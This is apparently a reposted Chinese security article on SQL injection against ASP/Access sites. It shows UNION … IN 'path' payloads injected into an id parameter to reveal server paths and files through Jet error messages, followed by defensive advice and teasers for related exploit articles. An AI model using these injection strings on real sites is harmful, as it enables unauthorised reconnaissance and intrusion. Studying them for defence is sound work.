针对ACCESS漏洞又一发现_漏洞研究

如今SQL injection可谓是火爆,诸多新的Injection方式被挖掘出来。利用系统错误来爆路径,更是热门话题,今天我也凑个热闹。  

  本例测试适用于ACCESS(由于MS SQL查询不存在指定路径),ACEESS存在一个可以把源数据库的表导入到目标数据库中。  

  如: mysource.mdb(admin表) —〉mydestion.mdb中  

  如果要在一个已经存在的外部数据库里创建新的工作表,你可以用IN关键字。如果外部数据库不存在或是数据表已存在的话,SELECT INTO 语句将会返回一个错误信息。  

  SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers。  

  左右推揣是不是能用子查询功能应用把它变成:  

  一般有漏洞语句,如select * from news where id="&request("id"),存在注射的。以下的演示就用一套使用select * from news whre id=”&request(“id”)来作测试。为了方便,直接转换为SQL执行时的状态:  

  select * from news where id=3 and SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers  

  经测试是不能在子查询实现导表的功能的。这条路又被档住了。突然之间想到了UNION,合并操作符,看看是否能用它。  

  注:The UNION operator(适用ACCEESS)  

  虽然UNION 的操作也可以视为一个合并查询,但我们不可以技术性地把它看作是一个联接,它之所以被提到是因为它能把从多个来源获得的数据合成一个结果表单中,而这一点和某些类型的联接是类似的。UNION 操作一般被用来把来自表单、SELECT语句或查询的数据结合,并省略掉任何重复的行。所有的数据源必须有相同数目的域,不过这些域不一定要是相同的数据类型。让我们假设我们有一个雇员表单,其中具有和顾客工作表单相同的结构,那么我们希望合并这两个工作表得到一个姓名和电子邮件地址信息的列表。  

  SELECT [Last Name], [First Name], Email FROM tblCustomers UNION SELECT [Last Name], [First Name], Email FROM tblEmployees  

  UNION操作不会显示任何在两个表单中重复出现的记录。利用UNION 的查询语句一定要与UNION前的查询语句字段列相等,如:  

  select id,title from news where id=3 UNION select * from admin  

  查询的字段不等,返回:  

  Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005' [Microsoft][ODBC Microsoft Access Driver] 在联合查询中所选定的两个数据表或查询中的列数不匹配。  

  查询语句可用避过: select id,title from news where id=3 UNION select 1,1 from admin 只要放入的1的个数与字段相等,也可实现查询。  

  看看是否能够把语句变成:  

  select * from news where id=3 Union SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers  

  返回:  

  Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005' [Microsoft][ODBC Microsoft Access Driver] 动作查询不能作为行的来源。  

  结果,还是失败的。因为UNION只适用查询结合。UNION后面不能跟动作。可能这条路走不通了,想想还是不甘心。  

  试着用:  

  se  

  lect * from news where id=3 Union select * from admin.c  

  返回:  

  Microsoft JET Database Engine 错误 '80004005' 找不到文件 'C:\WINNT\system32\admin.mdb'。  

  这证明和用select * from news where id=3 and 0<>(select count(*) from admin.c)是一样可以成功测试路径的。但是想想用这种方法ACCESS始终默认检测后缀MDB,虽然用以上有办法避过。便是过于麻烦。  

  于是我在想是不是用其他的方法可以更简单的实现,回头想起了刚才SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers。IN关键字不是可以指向路径文件名吗?是否可以把它归为已用。  

  接着测试:  

  select * from news where id=3 union select * from admin in 'c:\Customers.mdb'  

  系统提示:  

  Microsoft JET Database Engine 错误 '80004005' 找不到文件 'c:\Customers.mdb'。  

  使用:  

  select * from news where id=3 union select * from admin in 'c:\winnt\system32\cmd.exe'  

  系统提示:  

  Microsoft JET Database Engine 错误 '80004005' Microsoft Jet 数据库引擎打不开文件'c:\winnt\system32\CMD.EXE'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。  

  这种方式的实现比起用 and 0<>(select count(*) from admin)查询的结来得更为简明了,而且猜测的是MDB后缀的文件,猜测的路径和文件名正确的,信息会正常显示。但如果是猜测非MDB的文件则是这样的:  

  执行:  

  select * from news where id=3 union select * from admin in 'e:\www\include\connect.asp'  

  返回:  

  Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005' [Microsoft][ODBC Microsoft Access Driver] 不可识别的数据库格式 'e:\www\include\connect.asp'  

  证明所猜测的路径和文件是正确的。  

  后话,由于ACCESS本身的缺陷,至使SQL INJECTION的方式层出不穷。但很大一方面是由于程序员在书写程序的时候,不注意防范,防弊大意。针对有传值的SQL语进行详细的过滤,起码也是阻挡SQL INJECTION的一道门,ACCESS本身的缺陷解使,很多法语洞防不胜防,建议服务器出错信息,创建一个自己的WEB信息出错面面,服务器出错就出现那页面。这样一来就没有参考的出错信息了,仅于些文当作参考。 

时间: 2024-10-04 19:32:35

针对ACCESS漏洞又一发现_漏洞研究的相关文章

phpwind管理权限泄露漏洞利用程序发布_漏洞研究

漏洞发布:http://www.80sec.com/  漏洞作者:jianxin@80sec.com  漏洞厂商: http://www.phpwind.com/ 本漏洞影响phpwind所有版本  漏洞危害:高  漏洞说明:phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作  利用方式:http://www.80sec.com有提供exploit  漏洞分析:由于phpwind论坛在设计上对数据库存储机制不了解,导

四大漏洞入侵博客_漏洞研究

博客入侵太简单了!大家要注意啊!  漏洞一:数据库下载漏洞  第一步,搜索攻击目标  打开搜索引擎,搜索"Pragram by Dlog",可以找到许多博客页面,这些博客都是使用"Dlog破废墟修改版"建立的.我们要找的叶面是存在暴库漏洞的1.2版本.许多用户都忽视了这个版本中内嵌的eWebEditor在线编辑数据库的安全性,致使黑客可以使用默认的路径进行下载.  第二步,获取管理员密码  在搜索结果列表中挑一个攻击目标:http://s*.8888.com/blo

经典漏洞ms04011的必杀技_漏洞研究

受影响系统: Microsoft Windows XP Microsoft Windows NT 4.0 Microsoft Windows 2000 描述: Microsoft Windows Winlogon存在进程一个缓冲区溢出,远程攻击者可以利用这个漏洞可能以进程权限执行任意指令. 由于Winlogon在登录过程中使用的数据值大小没有进行任何检查就插入到分配的缓冲区中,可导致发生缓冲区溢出,精心构建提交数据可能以进程权限在系统上执行任意指令. 1 用ms04011漏洞扫描器扫出有漏洞的主

动网dvbbs7.1论坛权限提升漏洞及防范(图)_漏洞研究

在6月份的黑防上看到<动网7.1漏洞惊现江湖>一文说是admin_postings.asp文件 存在注入漏洞但利用的前提是拥有超级斑竹或前台管理员权限.我想起以前发现的动网7.x版本存在一个前台权限提升漏洞 正好可以结合起来利用.这个前台权限提升漏洞对7.x的Access和 Sql版都有效.下面我们就以7.0 sp2 sql版讲解这个漏洞的利用. 漏洞分析 我们知道动网是通过GroupID来判断当前用户所在的组的然后再通过组的信息判断用户的权限.它是如何取得这个GroupID的呢让我们看看登录

Ofsatr 2.6搜索漏洞的简单分析_漏洞研究

看到网上有类似的工具,但分析的文章却没找到,听小黑说黑客手册上有,可惜偶没有杂志,所以就抓包然后看下代码,大致分析了一下.这个漏洞很巧妙.也很经典 :)    GET /search.php?keyword=By%20CN911&cachefile=an85.php%2500&treadinfo=〈?fputs(fop   en(chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(98).chr(98).c

upfile上传漏洞的利用总结_漏洞研究

涉及到大部分:如动网  还有星空的NF_visual_upfile.asp 找到 upload.asp 等等上传图片的地方 可以看源代码中有 filepath 或者file,path的字 运行WSockExper抓包 上传一个asp木马 在WSockExper 找到 post -- 的2行 全选 复制到一个txt的文本里   修改: 两个底部都要空一行 把底下的asp 格式修改成gif 格式 -----------------有时要修改上面的数字参数,最好加上空格总数保持原来文件的数目-----

ETP 留言本v1.5爆出漏洞及利用方法_漏洞研究

作者:天狼星拒绝爱  这个是一个动画,因为利用过程很简单,所以我给大家简单的说一下  首先进入 http://www.baidu.com 或者http://www.google.com  搜索关键词:Etp Flash 留言本 v1.5   搜索到留言本,可以留言了  留言内容写一句话木马,选择提交留言``  保存成功! 恩``连接吧``这样一个WEBSHELL就得到了  汗!我搜索了下,看来搞破坏的还很多  看这个http://www.bxxtv.com/down/codeView.asp?i

我是如何发现CCProxy远程溢出漏洞的_漏洞研究

CCProxy是一个国产的支持HTTP.FTP.Gopher.SOCKS4/5.Telnet.Secure(HTTPS).News(NNTP). RTSP.MMS等代理协议的代理服务器软件.因为其简单易用.界面友好,非常适合在对流量要求不高的网络环境中使用,所以在国内有很多初级的网管喜欢用这个软件,有时候我在公司上网也要用它做代理.前些日子我测试发现CCProxy 6.0版本存在多处缓冲区溢出漏洞,可以导致攻击者远程执行任意代码.    TIPS:什么是Gopher.RTSP.MMS?    G

一个意想不到的注入点发现过程_漏洞研究

一般注入点是http://www.xxxxx.net/list/asp?id=Num这种形式的,不过随着注入技术的泛滥,有点安全意识的人都把明显的注入点过滤了,黑客站点就更不用说了.记得77169.的动画教程中好像有一个讲的就是注入潮阳网,偶记得好像是下载页面,字符型注入,注入页面是类似这样的http://www.xxxxx.net/list/asp?id=Num&ppath=undefined.为了证实我去试了一下,我测试的页面是http://www.cycycy.net/list.asp?i